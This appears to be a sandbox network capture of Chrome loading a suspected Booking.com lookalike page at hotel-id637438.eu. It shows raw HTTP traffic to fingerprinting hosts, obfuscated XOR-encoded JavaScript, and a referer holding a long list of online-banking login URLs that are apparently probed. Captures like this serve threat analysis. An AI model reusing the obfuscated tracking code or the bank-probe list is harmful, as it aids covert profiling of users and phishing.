2024-07-08 22:43:31 UTC	708	OUT	GET /vTOLwXi9GvUYM65G?cc1c5627e5090213=UMDv9Y_kyQgU0nb0xaH2m7UEWKsUHcSYK5aPJ6oBpgrSMSI8FD86ALuQd2h2m3h_eBvqF4Oj9vwvkXQjzVTRHV918FIxMR0a2albWoPo7tnR_LUu_Cvy8JtCrNPsoF1NRAJfdK9ICeoyD3AIp-5Rcw HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	420	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:31 UTC	140	IN	Data Raw: 38 36 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 35 37 31 38 46 41 42 42 30 30 32 45 22 2c 22 41 41 79 59 66 56 4d 31 33 79 65 38 63 50 62 65 30 79 39 34 64 46 4e 66 33 50 39 72 59 6f 56 30 39 52 4a 69 6e 33 4a 33 50 42 72 35 39 2d 4d 6a 42 6a 62 42 64 75 56 73 48 4e 5f 68 69 67 58 4d 58 53 48 5a 63 68 74 73 6b 51 7a 36 69 6e 7a 4b 44 69 4e 50 51 7a 41 67 31 57 38 6e 4e 41 22 29 3b 0d 0a Data Ascii: 86localStorage.setItem("5718FABB002E","AAyYfVM13ye8cPbe0y94dFNf3P9rYoV09RJin3J3PBr59-MjBjbBduVsHN_higXMXSHZchtskQz6inzKDiNPQzAg1W8nNA");
2024-07-08 22:43:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49780	104.21.44.120	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	357	OUT	GET /static/etnht.gif HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:31 GMT Content-Type: image/gif Content-Length: 35 Connection: close last-modified: Sat, 06 Jul 2024 13:10:44 GMT etag: "7491443658cb4eea633ce9ae605e297e" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6882 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xl05C4KMUpbLW5GPUCR%2ButqextEURb%2Bf5m2Pf9883v%2FTHwGP7krr4sCuHL6AKX%2F561I4H8g4GfpL38wttczK2xIUGt8fkWSN33Mp7odat%2FJxjr3VSifZIkOf98IxrpM7OpBT3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397fc0d184405-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:31 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b Data Ascii: GIF89a,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49767	192.225.158.1	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	716	OUT	GET /5prH3djSfspwAgel?0254515df9b541d0=NU4TfZBGqPmfiLy5n9SoIg4wm0j0z4-hvii_tvDfeRkfeAHzG22z7KT_JObQVIE68G0iegh2ZI7wE2UJkQYGYx9SNgna8SV7CZgaW4DaKvnU_AEhS_kBR82YOV8qqCYitTM22m6SUICol6bo7aHwFY_yK5rqd2yn HTTP/1.1 Host: h64.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:31 UTC	320	IN	HTTP/1.1 204 No Content Date: Mon, 08 Jul 2024 22:43:31 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49755	91.235.132.130	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:31 UTC	1918	OUT	GET /fwbs2R_7rJbrBR3e?5ef22e07f10f36fd=-BE8AN-UiICUya05z9TTPbQ6wofbCzFF8v25yhCAPMTZS-W194kKONQoe1HaJzqfM3key2AjyrI2GAn-LmMjuufQv7Ww5Pa8GV24fz0-FSF7aJOqG0BpXc4odExt19c7leJoaMP7ZJUMcCNimDW-1BmyYAlK2ZmZCCFszGTJseMQUNeEsG0Xt7rEp21WIUnZoP_LeiOuNnf2vUFIlf8&jf=3c3136267169645f7a6e643f766c725d4f494a4144454d5265376a555a756b6d26736b6c57646174673d31373a3034353a3e3132267161645f7c7978673f77676a3867616473632e7b69645f6965793d3b30353b31383131303438373269383e363a63673b6632303031323e383832613a3634386b653366323b303330353833343a3038323665363f6336643064643e6d616534603266383f373333616e663437373133626d616e3a3564646d3231663036316e6e653363673932316b363267616c663063366b64363a3639333b39306a3732333534613c3d3132643432373569383631363e376431666a37333c3630643b6531383260666165616a3f333230373364346b3626716b6c5f7169653533303c3538303030316a373734626437396c3939373664666369343166313e626132363e39366a6669376666613d323234663235313e3362623b6164326a63623a603b323539613030323a3138326063603830303530353b3a3f64303134656361393838616731353a63343935333f636b31 [TRUNCATED] Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://h.online-metrix.net/_V5uGnUcz_yKSEQS?f73d56cd6d76ca0a=nqxTNuGLHIdaAisgqrPAILj-r4YQ5WFqxolXivNF8XRmYZrcKRCJMKW6K8767ipRgprw62BKy8rdTTiSnlK3qe884UTCPwdT4qgdEyRQCqJ3b4CxECpqrITDJnONE-YRZ4KgGA8e1iSa6dYOYR1PbJjeDeOrq4Ar_o0cThYEm8ESgnel6-5KtKggjeT8XV6mjmHMa475vB8tp2lnDBPR Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	364	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: image/png;charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49784	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	4865	OUT	GET /ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&ja=393931332426633d2533303224723d3430246e3d313a38387a3330303c2463643d3130303878393836267378713d307a322e6472723f392c313a38382e3330303c2e333038302e3130342c313038302c3130372e333a38322c3b30342c382c38246f743f3a356437316431393c3965366066323031623634606c333a37603861663b633c246f6e3f3a247161643d303c2e6c683d6a7474707b253343273a46273244606f746d6c256b6636313f36313a2e65772d3a467369656e2d696626706e3f3d2672683f6d38303a646e63373537393b31643465606d30393933676234613139323b326c266a683f3b66343c333c336666323a356767393437313f623932603565376e6430323b6d2668736d35576966646775712530383332246a7360354b68726f6f652532383131352462736d753f5f696e6c6f7f71246a716a773f4168726d656d266e68613d342666646d3f3a2e6e6f74723530267c7a6c3f436d677a6b6163253244466d775f596d726b266561746a7035343230316c31633a626d613232673e616137363032303a61643137353430396664363730383334 [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49789	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	548	OUT	GET /ecZ5aVIu8voGAhYC?53f7ffd9bbb2d5cb=smMqDMPW5PXvlBuohE-AiFotCHBQBRFo84spVI31kFeQxTag7e6ldKjGdOvIc6vDwOfkesTZ1ay3rnLIq6bhFqTh_Rmhw4WtCWyLyVb4sUwfuPJfED8qiLEaBRjdCk3fgAWGsr6KL5YTLi20GhT53n65TK-uDTh9MDdTnz4 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:32 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49788	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	548	OUT	GET /3QUMmaPSc1zJE8fm?1d5dbae49208cfc1=_lS2UB-jeCK3GwSghVeiNjmEsztwIdW7peYa2vZDcG9_rxjNXKGUggbLPnN7TQEc392g0yl5LlzycWWK62WEuv9s081EatjUJGdq6NB4-VZmKYAVzro0qFZezZFS_jIkEItyaozhwhYgHjS8-3uy08mWEj-5l14Eqq92qrY HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:32 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49787	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	359	OUT	GET /fp/clear.png HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	359	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Last-Modified: Mon, 08 Jul 2024 22:43:32 GMT Expires: Sat, 07 Jul 2029 22:43:32 GMT Etag: fd1a2a578ed941199d9e1062ea045cc3 Cache-Control: private, must-revalidate, max-age=0 Content-Length: 81 Connection: close Content-Type: image/png
2024-07-08 22:43:32 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49791	192.225.158.3	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	841	OUT	GET /eT7Nb5nB4FSZBhqr?4e98badb14cfb3a3=noEGKM0RbPhp2BOR7GtSv8EDA766sxCB-oQDofHIYL0nVgCWZ_FSuWnvPXgK68IoB2KaUXlhIAvOPkKfPj2n8omxmTJildRQNxvOEqYLuo-qEMEJOU-vBd-iqiE9oNQd1VJ_tlSFfzMuQ2jqJArDBp6s3JDOKtZo_yFm HTTP/1.1 Host: doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	357	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
2024-07-08 22:43:32 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49792	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	911	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=3e3626266861633d3926626a716a6b3f25374a25354a253a305825303a2730413225304b39373230363738363838313a342d354625374c266260736a695d696c6c677a3f30 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49793	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	4664	OUT	GET /KBrTNuz37Y912pZL?81d766bcb25e503d=ApT93fj4245r1UQY9zsrLJjbEn6MNJQ3HGO_alTHhNnfr4Bzcf9bN-JULgLrweGVvb82MvIrDUlZJn4lOQh9x0ymYzOxs9pzVpPzNz8exbR9hlj1JDTXnMfwkcgRXSEKi6BNcnuktFwkc2fdbz35UGFRJvgy0L_Ps7g_JCN57LZN HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/Capi [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	514	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT tmx-nonce: 9d8e366b7ec51ed9 Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:32 UTC	7678	IN	Data Raw: 31 66 66 38 0d 0a 76 61 72 20 74 64 5f 33 77 3d 74 64 5f 33 77 7c 7c 7b 7d 3b 74 64 5f 33 77 2e 74 64 5f 31 50 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 6e 2c 74 64 5f 70 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 6a 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 62 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 77 3d 30 3b 74 64 5f 77 3c 74 64 5f 70 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 77 29 7b 74 64 5f 6a 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 62 29 5e 74 64 5f 70 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 77 29 29 29 3b 74 64 5f 62 2b 2b 3b 0a 69 66 28 74 64 5f 62 3e 3d 74 64 5f 6e 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 62 3d 30 3b 7d 7d 72 65 74 75 72 6e 20 74 64 5f 6a 2e 6a Data Ascii: 1ff8var td_3w=td_3w\|\|{};td_3w.td_1P=function(td_n,td_p){try{var td_j=[""];var td_b=0;for(var td_w=0;td_w<td_p.length;++td_w){td_j.push(String.fromCharCode(td_n.charCodeAt(td_b)^td_p.charCodeAt(td_w)));td_b++;if(td_b>=td_n.length){td_b=0;}}return td_j.j
2024-07-08 22:43:32 UTC	512	IN	Data Raw: 33 37 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 33 32 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 33 34 5c 78 33 34 5c 78 33 32 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 36 33 5c 78 33 31 5c 78 36 32 5c 78 33 34 5c 78 36 34 5c 78 33 32 5c 78 33 31 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 32 5c 78 33 31 5c 78 33 35 5c 78 33 30 5c 78 33 34 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 33 33 5c 78 33 35 5c 78 36 35 5c 78 33 35 5c 78 33 35 5c 78 33 30 5c 78 36 32 5c 78 33 34 5c 78 36 32 5c 78 33 34 5c 78 36 34 5c 78 33 34 5c 78 33 35 5c 78 33 31 5c 78 33 37 5c 78 33 35 5c 78 36 36 5c 78 33 30 5c 78 33 32 5c 78 33 35 5c 78 36 33 5c 78 33 30 5c 78 36 36 5c 78 33 30 5c 78 33 38 5c 78 33 31 5c 78 36 31 5c 78 33 34 5c 78 36 32 5c 78 33 35 5c 78 36 36 5c 78 33 36 5c Data Ascii: 37\x30\x62\x35\x32\x31\x30\x35\x34\x34\x32\x35\x36\x30\x63\x31\x62\x34\x64\x32\x31\x31\x31\x35\x32\x31\x35\x30\x34\x35\x30\x35\x33\x35\x65\x35\x35\x30\x62\x34\x62\x34\x64\x34\x35\x31\x37\x35\x66\x30\x32\x35\x63\x30\x66\x30\x38\x31\x61\x34\x62\x35\x66\x36\
2024-07-08 22:43:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:32 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 33 37 5c 78 33 31 5c 78 33 31 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 36 32 5c 78 33 37 5c 78 33 35 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 33 32 5c 78 33 34 5c 78 33 36 5c 78 33 30 5c 78 36 34 5c 78 33 30 5c 78 36 31 5c 78 33 30 5c 78 33 37 5c 78 33 31 5c 78 33 33 5c 78 33 35 5c 78 33 32 5c 78 33 35 5c 78 33 39 5c 78 33 34 5c 78 33 35 5c 78 33 34 5c 78 36 36 5c 78 33 31 5c 78 33 39 5c 78 33 36 5c 78 33 33 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 33 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 30 5c 78 33 34 5c 78 33 32 5c 78 33 37 5c 78 36 36 5c 78 33 30 5c 78 33 38 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 34 5c 78 33 35 5c 78 36 33 5c 78 33 34 5c 78 33 31 5c 78 33 34 5c 78 33 34 5c 78 33 37 5c 78 36 Data Ascii: 1ff837\x31\x31\x35\x39\x30\x64\x35\x62\x37\x35\x35\x64\x35\x32\x34\x36\x30\x64\x30\x61\x30\x37\x31\x33\x35\x32\x35\x39\x34\x35\x34\x66\x31\x39\x36\x33\x35\x34\x30\x33\x30\x64\x35\x30\x34\x32\x37\x66\x30\x38\x34\x30\x30\x34\x35\x63\x34\x31\x34\x34\x37\x6
2024-07-08 22:43:32 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:32 UTC	8184	IN	Data Raw: 37 2c 35 29 29 3a 6e 75 6c 6c 29 7d 2c 7b 73 74 72 69 6e 67 3a 74 64 5f 69 2c 73 75 62 53 74 72 69 6e 67 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 28 31 33 39 2c 35 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 Data Ascii: 